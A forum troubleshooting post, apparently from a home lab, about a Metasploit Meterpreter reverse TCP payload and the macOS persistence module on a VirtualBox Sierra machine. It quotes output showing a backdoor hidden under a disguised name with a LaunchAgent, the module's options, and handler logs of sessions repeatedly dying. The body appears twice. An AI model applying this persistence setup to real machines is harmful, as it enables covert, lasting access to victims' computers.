Apr 29, 2018 02:50 AM
(This post was last modified: Apr 29, 2018 02:53 AM by L0LAA.)
Hello everyone,
Im having this problem that have been giving me headaches for few nights now without finding any way around it on the internet.
Here we go,
So im using mac os sierra x64 on virtualbox and I used a reverse tcp payload on it (osx/x64/meterpreter_reverse-tcp)...which worked fine after i manually activate it using
chmod +x
, and then i had active connection with the target machine.
Then i tried to download a persistence on the targeted mac (osx/local/persistence)
which also went well and give me this message
[*]Started reverse TCP handler on xxx.xxx.x.xx:4444
[*]Dropping backdoor executable...
[+] Backdoor stored to /Users/admin/Library/.kxSxaYBF/com.system.update
[+] LaunchAgent added: /Users/admin/Library/LaunchAgents/com.system.update.plist
[+] LaunchAgent installed successfully.
[*]To remove the persistence, run:
$ launchctl unload -w /Users/admin/Library/LaunchAgents/com.system.update.plist
$ rm /Users/admin/Library/.kxSxaYBF/com.system.update
$ rm /Users/admin/Library/LaunchAgents/com.system.update.plist
and also this was the options for the persistence
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_PATH ~/Library/.<random>/com.system.update yes Path to hide the backdoor on the target.
KEEPALIVE true yes Continually restart the payload exe if it crashes/exits.
RUN_NOW true no Run the installed payload immediately.
SESSION 1 yes The session to run this module on.
then i restarted the targeted mac machine to test if the persistence is working or not, I used multi/handler to listen for the connection from the persistence, and then here comes the problem, it keep connecting and restarting with Reason:Died
[*]Started reverse TCP handler on xxx.xxx.x.xx:4444
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]Meterpreter session 1 opened (xxx.xxx.x.xx:12345 -> xxx.xxx.x.xx:49402) at 2018-04-29 08:54:10 +0000
[*]xxx.xxx.x.xx - Meterpreter session 1 closed. Reason: Died
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]xxx.xxx.x.xx - Meterpreter session 2 closed. Reason: Died
[*]Meterpreter session 2 opened (127.0.0.1 -> xxx.xxx.x.xx:49408) at 2018-04-29 08:54:20 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]xxx.xxx.x.xx - Meterpreter session 3 closed. Reason: Died
[*]Meterpreter session 3 opened (127.0.0.1 -> xxx.xxx.x.xx:49410) at 2018-04-29 08:54:30 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]xxx.xxx.x.xx - Meterpreter session 4 closed. Reason: Died
[*]Meterpreter session 4 opened (127.0.0.1 -> xxx.xxx.x.xx:49412) at 2018-04-29 08:54:40 +0000
and then it goes like this forever until i have to kill it.
also there is no firewall on either my machine or the virtualbox mac.
any suggestions ??
Im having this problem that have been giving me headaches for few nights now without finding any way around it on the internet.
Here we go,
So im using mac os sierra x64 on virtualbox and I used a reverse tcp payload on it (osx/x64/meterpreter_reverse-tcp)...which worked fine after i manually activate it using
chmod +x
, and then i had active connection with the target machine.
Then i tried to download a persistence on the targeted mac (osx/local/persistence)
which also went well and give me this message
[*]Started reverse TCP handler on xxx.xxx.x.xx:4444
[*]Dropping backdoor executable...
[+] Backdoor stored to /Users/admin/Library/.kxSxaYBF/com.system.update
[+] LaunchAgent added: /Users/admin/Library/LaunchAgents/com.system.update.plist
[+] LaunchAgent installed successfully.
[*]To remove the persistence, run:
$ launchctl unload -w /Users/admin/Library/LaunchAgents/com.system.update.plist
$ rm /Users/admin/Library/.kxSxaYBF/com.system.update
$ rm /Users/admin/Library/LaunchAgents/com.system.update.plist
and also this was the options for the persistence
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BACKDOOR_PATH ~/Library/.<random>/com.system.update yes Path to hide the backdoor on the target.
KEEPALIVE true yes Continually restart the payload exe if it crashes/exits.
RUN_NOW true no Run the installed payload immediately.
SESSION 1 yes The session to run this module on.
then i restarted the targeted mac machine to test if the persistence is working or not, I used multi/handler to listen for the connection from the persistence, and then here comes the problem, it keep connecting and restarting with Reason:Died
[*]Started reverse TCP handler on xxx.xxx.x.xx:4444
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]Meterpreter session 1 opened (xxx.xxx.x.xx:12345 -> xxx.xxx.x.xx:49402) at 2018-04-29 08:54:10 +0000
[*]xxx.xxx.x.xx - Meterpreter session 1 closed. Reason: Died
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]xxx.xxx.x.xx - Meterpreter session 2 closed. Reason: Died
[*]Meterpreter session 2 opened (127.0.0.1 -> xxx.xxx.x.xx:49408) at 2018-04-29 08:54:20 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]xxx.xxx.x.xx - Meterpreter session 3 closed. Reason: Died
[*]Meterpreter session 3 opened (127.0.0.1 -> xxx.xxx.x.xx:49410) at 2018-04-29 08:54:30 +0000
[*]Sending stage (179779 bytes) to xxx.xxx.x.xx
[*]xxx.xxx.x.xx - Meterpreter session 4 closed. Reason: Died
[*]Meterpreter session 4 opened (127.0.0.1 -> xxx.xxx.x.xx:49412) at 2018-04-29 08:54:40 +0000
and then it goes like this forever until i have to kill it.
also there is no firewall on either my machine or the virtualbox mac.
any suggestions ??

